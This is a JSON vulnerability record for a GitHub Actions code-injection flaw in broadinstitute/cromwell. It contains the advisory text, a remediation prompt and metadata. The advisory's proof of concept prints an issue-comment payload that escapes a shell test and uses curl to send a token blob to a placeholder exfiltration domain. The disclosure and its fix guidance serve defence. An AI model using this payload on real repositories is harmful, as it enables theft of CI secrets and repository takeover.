{"answers":{"affected":"1 open source package ship an affected version, including broadinstitute/cromwell.","exploited":"There is no known exploitation of GHSA-phf6-hm3h-x8qp in the wild and no public exploit code.","fix":"Upgrade broadinstitute/cromwell to 90 or later.","what":"GHSA-phf6-hm3h-x8qp is a code injection vulnerability in broadinstitute/cromwell, published on 28 May 2025. Any signed-in user can exploit it over the network, and only if a user opens a file or follows a link."},"fix_prompt":"Check this codebase for GHSA-phf6-hm3h-x8qp and fix it if it is affected.\n\nWhat it is: GHSA-phf6-hm3h-x8qp is a code injection vulnerability in broadinstitute/cromwell, published on 28 May 2025. Any signed-in user can exploit it over the network, and only if a user opens a file or follows a link.\nExploitation: There is no known exploitation of GHSA-phf6-hm3h-x8qp in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- broadinstitute/cromwell (GitHub Actions): affected from 87; fixed in 90\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-phf6-hm3h-x8qp/ (Markdown: https://insights.sbomify.com/GHSA-phf6-hm3h-x8qp/index.md)","id":"GHSA-phf6-hm3h-x8qp","markdown":"https://insights.sbomify.com/GHSA-phf6-hm3h-x8qp/index.md","name":"GHSA-phf6-hm3h-x8qp","record":{"aliases":[],"analysis":{"component_type":"developer_tool","fix_type":"patch","impacts":["code_execution","data_read","privilege_escalation"],"network_reachable":"yes","non_default_config":false,"product_category":"GitHub Actions workflow","requires_auth":"low_privilege","summary":"Attackers can inject code via issue comments to exfiltrate GitHub tokens and secrets, leading to repository takeover.","user_interaction":"required","vuln_class":"code_injection"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\nUsing `Issue_comment` on `.github/workflows/scalafmt-fix.yml` an attacker can inject malicious code using `github.event.comment.body`. By exploiting the vulnerability, it is possible to exfiltrate high privileged `GITHUB_TOKEN` which can be used to completely overtake the repo since the token has content privileges. In addition ,it is possible to exfiltrate also the secret:\n- `BROADBOT_GITHUB_TOKEN `\n\n### Details\nThe `Issue_comment` in GitHub Actions might be an injection path if the variable isn't handle as it should. In the following step it's vulnerable because it directly interpolates untrusted user input into a shell script.\n```\n      - name: Check for ScalaFmt Comment\n        id: check-comment\n        run: |\n          if [[ \"${{ github.event_name }}\" == \"issue_comment\" \u0026\u0026 \"${{ github.event.comment.body }}\" == *\"scalafmt\"* ]]; then\n            echo \"::set-output name=comment-triggered::true\"\n          else\n            echo \"::set-output name=comment-triggered::false\"\n          fi\n```\nIn this case, it is possible to exfiltrate `GITHUB_TOKEN` and `BROADBOT_GITHUB_TOKEN` secrets. \n\n### PoC\nTo exploit the vulnerability an attacker can just drop a comment to any issue formed in the following way to exploit the vulnerability in the workflow `.github/workflows/update_pylon_issue.yml`.\n```\ntest\" == \"test\" ]]; then\n  \u0026 curl -s -d \"$B64_BLOB\" \"https://$YOUR_EXFIL_DOMAIN/token\" \u003e /dev/null # \n```\nTo prove this is possible, we created an issue and we added a comment with the malicious code to extract the `GITHUB_TOKEN` and `BROADBOT_GITHUB_TOKEN` secret. With the `GITHUB_TOKEN` extracted we were able to push a new poc tag which has been deleted after a couple of minutes.\n\n\u003cimg width=\"1603\" alt=\"Screenshot 2025-05-20 at 23 17 14\" src=\"https://github.com/user-attachments/assets/e2ebdb22-3d2d-467c-9326-34ca1e4b7ecf\" /\u003e\n\n### Impact\nUsually with GITHUB_TOKEN and write permissions, an attacker is able to completely overtake the repo. \n```\nGITHUB_TOKEN Permissions\n  Actions: write\n  Attestations: write\n  Checks: write\n  Contents: write\n  Deployments: write\n  Discussions: write\n  Issues: write\n  Metadata: read\n  Models: read\n  Packages: write\n  Pages: write\n  PullRequests: write\n  RepositoryProjects: write\n  SecurityEvents: write\n  Statuses: write\n```\nWe also checked `BROADBOT_GITHUB_TOKEN` permission to check if we could move laterally to org level. In this case the token seems scoped to this specific repo but it gives an attacker persistence without the need of a valid `GITHUB_TOKEN`.\nWe suggest to rotate the `BROADBOT_GITHUB_TOKEN` token asap.\n\n### Fix\n\n- Avoid directly interpolating untrusted user input into a shell script. Use GitHub Actions input context safely like:\n\n```\n- name: Dump comment\n  run: echo \"Comment Body: $BODY\"\n  env:\n    BODY: ${{ github.event.comment.body }}\n```\nThis safely passes the comment as an environment variable rather than interpolating it in-place.\n\n- Scope GIHTUB_TOKEN permissions to just what the actions needs to do. In this case, if it's specific for issues:\n```\npermissions:\n  issues: write\n```\n\nKindly reported by @darryk10 @AlbertoPellitteri @loresuso","ecosystems":["GitHub Actions"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"Cromwell GitHub Actions Secrets exfiltration via `Issue_comment`","id":"GHSA-phf6-hm3h-x8qp","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"GitHub Actions","product":null,"products":[],"type":"code_injection","year":"2025"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"GitHub Actions","fixed":["90"],"introduced":["87"],"last_affected":[],"package":"broadinstitute/cromwell","purl":null,"source":"GHSA-phf6-hm3h-x8qp"}],"products":null,"published":"2025-05-28","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Attackers can inject code via issue comments to exfiltrate GitHub tokens and secrets, leading to repository takeover.","url":"https://insights.sbomify.com/GHSA-phf6-hm3h-x8qp/"}